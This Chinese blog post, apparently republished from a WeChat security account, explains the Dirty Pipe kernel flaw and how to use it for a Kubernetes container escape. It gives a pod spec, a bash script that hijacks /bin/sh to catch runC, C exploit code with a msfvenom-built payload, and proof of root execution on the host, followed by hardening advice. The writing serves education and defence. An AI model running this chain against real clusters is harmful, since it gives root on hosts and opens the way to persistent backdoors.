Dirty Pipe 漏洞了解入门

admin 2022年7月11日09:04:22评论65 views字数 4434阅读14分46秒阅读模式

1介绍

Dirty Pipe 漏洞是 Linux 内核中的一个缺陷,它允许非特权进程写入它可以读取的任何文件。虽然该进程对此文件没有写入权限,但是通过该漏洞可以非法提升至管理员权限从而。该漏洞允许权限提升,例如通过覆盖/etc/passwd文件,可以创建新的管理员用户。

此漏洞可用于从非特权容器(包括 Kubernetes 环境中)进行突围。在这篇文章中,将会介绍Dirty Pipe 漏洞使使攻击者能够突破容器,逃逸到底层主机并获得root权限。Dirty Pipe 漏洞了解入门

Part1容器运行和 OCI 规范

Kubernetes 支持 Kubernetes Container Runtime Interface (CRI) 规范的容器运行,例如 containerd 或 CRI-O。容器运行时负责从注册表中提取映像,在主机上管理它们,以及创建彼此正确分割的较低级别的 Linux 进程。

创建低级容器化的Linux进程是一项有点复杂的任务,需要设置控制组和内核名称空间,以确保进程在逻辑容器中运行,例如,不能访问其他容器化进程的文件系统。实际上,容器运行时本身并不创建低级进程。相反,它们调用开放容器接口(OCI)运行时规范的较低级别运行,其中最常见的是runC。

2漏洞原理流程

当 runC 创建容器化进程时,它按如下方式进行:

1.Fork自身来创建子进程 2.设置容器化环境(内核命名空间、控制组等) 3.通过执行系统调用将执行流重定向到用户提供的入口点 近年来,在 runC 中发现了几个漏洞,这些漏洞允许恶意进程从非特权容器中逃逸。比较出名的CVE-2019-5736是runC的漏洞,恶意容器入口点可以覆盖主机上的runC二进制文件,从而获得root权限。

CVE-2019-5736漏洞PoC:https://github.com/twistlock/RunC-CVE-2019-5736

此漏洞利用了这样一个“特性”,即当调用以执行用户提供的入口点时,容器中可用的execve/proc/self/exe文件与主机上runC二进制文件的打开文件描述符相关联。因此,容器内的恶意进程可以写入此文件,覆盖主机上的 runC 二进制文件,并从容器中转义。

为了修复 CVE-2019-5736 漏洞,runC 团队发布了一个补丁,在执行 runC 二进制文件之前克隆它,以确保它不会从容器内被覆盖。大约一个月后,runC 团队再次更改了此行为,通过在只读容器中装载 runC 二进制文件来利用内核缓存页面共享。但是这种性能改进却导致Dirty Pipe 漏洞。Dirty Pipe 漏洞为我们提供了覆盖我们可以读取的任何文件的能力,我们有能力覆盖主机上的 runC 二进制文件。此覆盖不是永久性的,并且是在内核页面缓存中所进行的,所以未被恶意篡改的(即原始的) runC 二进制文件在硬盘上保持不变,可以通过删除缓存或重新启动计算机来恢复被修改的runC二进制文件。尽管是临时性的修改文件,但是它使我们能够逃逸容器,获得更多的权限。

这个漏洞的PoC利用与CVE-2019-5736的利用类似。它在非特权容器中运行,工作如下:

等待在容器内执行runC。例如,当管理员对容器执行kubectl exec操作时,就会发生这种情况。一旦runC在容器内运行,该漏洞就会利用Dirty Pip漏洞通过其位于/proc//exe的文件引用主机上的runC二进制文件,用恶意可执行文件覆盖被备份的二进制文件。

3漏洞具体步骤

首先,运行一个非特权 Pod,该 pod 以被攻击者入侵的 pod 为模型。Pod 规范没有任何特殊内容,攻击者可以采取相同的利用步骤,诱使系统管理员或系统部署攻击者控制的恶意容器映像。

$ cat pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: compromised-pod
spec:
  containers:
  - name: compromised-container
 image: ghcr.io/datadog/dirtypipe-container-breakout
 imagePullPolicy: Always
 command: ["sh""/wait-for-runc-and-overwrite.sh"]

$ kubectl apply -f pod.yaml

此 pod 中容器的入口点是一个 bash 脚本,等待 runC 进程在容器内运行。该程序利用Dirty Pipe漏洞使用恶意 ELF 二进制文件覆盖主机上的 runC 二进制文件:

#!/bin/bash

# Inspired from https://unit42.paloaltonetworks.com/breaking-docker-via-runC-explaining-cve-2019-5736/ 

# When /bin/sh is executed through kubectl exec, runC will be executed so our script can overwrite it
echo '#!/proc/self/exe' > /bin/sh

echo "Waiting for runC to be executed in the container"

while true ; do
  runC_pid=""

  while [ -z "$runC_pid" ] ; do
 runC_pid=$(ps axf | grep /proc/self/exe | grep -v grep | awk '{print $1}')
  done

  /exploit /proc/${runC_pid}/exe
done

用一个运行命令id和hostname的恶意二进制文件覆盖目标二进制文件,并将其输出写入/tmp/hacked。

// original Dirty Pipe PoC from dirtypipe.cm4all.com
// and adaptation from https://haxx.in/files/dirtypipez.c

// Generated using msfvenom -a x86 -p linux/x86/exec CMD="id > /tmp/hacked && hostname >> /tmp/hacked" -f elf
// Note: The first ELF byte is removed, since the Dirty Pipe exploit cannot write on the first byte of a memory page
const unsigned char malicious_elf_bytes[] = {
    /*0x7f,*/ 0x45,0x4c,...
};
int main(int argc, char **argv) {
    if (argc != 2) {
     fprintf(stderr, "Usage: %s /proc/<runc_pid>/exen", argv[0]);
     return EXIT_FAILURE;
    }

    char *path = argv[1];
    const size_t data_size = sizeof(malicious_elf_bytes);
    printf("[+] hijacking runc..n");
    if (hax(path, 1, malicious_elf_bytes, data_size) != 0) {
     printf("[~] failedn");
     return EXIT_FAILURE;
    }

    printf("[+] Successfully overwrote runC with our malicious binary!n");

    return EXIT_SUCCESS;
}

成功利用此漏洞的条件是,有相应权限的用户在容器中运行kubectl exec命令,导致runC在与恶意bash脚本相同的PID空间中执行。

$ kubectl exec -it compromised-pod -- sh

在恶意 shell 脚本的输出中,我们看到:

Waiting for runC to be executed in the container
[+] Hijacking runC...
[+] Successfully overwrote runC with our malicious binary!

如果连接到节点,会注意到runC二进制文件确实已被恶意可执行文件覆盖!

# Before exploitation
root:/# md5sum /usr/bin/runc
4139ffa81a373778877c5987ac476a19  /usr/bin/runc

# After exploitation
root:/# md5sum /usr/bin/runc
721e312c0f3208913eaa6f3762b2d0cb  /usr/bin/runc

在节点上,注意到恶意命令以root身份运行,文件/tmp/hacked也可以证明。

uid=0(root) gid=0(root) groups=0(root)

为了便于理解,我们没有构建一个很完美的后门,但完全可以构建一个更隐蔽的后门,在调用runC之前执行恶意命令,从而更难发现后门,或者在主机上持久性攻击。

4预防建议

  1. 将runAsUser和runAsGroup设置为非零值,以确保是普通用户而不是root用户。

  2. 将runAsNonRoot设置为true,让kubelet确保容器中没有进程以root身份运行。

  3. 将allowPrivilegeEscalation设置为false,以确保无法使用基于SUID二进制文件的公共权限提升向量(PwnKit或sudo中的漏洞也适用该建议)。

  4. 如果可能,请将readonlyRootFilesystem设置为true。这会使容器的文件系统为只读,从而阻止某些权限提升漏洞正常运行。

  5. 这些强化实践可以通过Pod安全许可(Kubernetes v1.23+)在运行时强制实施,该许可替代了目前已弃用的Pod安全策略,或者通过使用附加许可控制器,如Kyverno或OPA Gatekeeper。

  6. 确保群集中只能运行来自受信任注册表的映像

5写在最后

关于公众号

HackerDo安全专注于收集最新网络安全消息,发布各类漏洞信息以及修复方案,关注各大比赛,及时带来最新动态以及知识教程。我们会不定期分享漏洞PoC以及知识干货,不定期送出福利。

微信交流群

如果失效请在后台回复“粉丝群”获取最新加群方式!

Dirty Pipe 漏洞了解入门

QQ社区群

Dirty Pipe 漏洞了解入门


原文始发于微信公众号(HackerDo安全):Dirty Pipe 漏洞了解入门

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月11日09:04:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Dirty Pipe 漏洞了解入门http://cn-sec.com/archives/1169978.html

发表评论

匿名网友 填写信息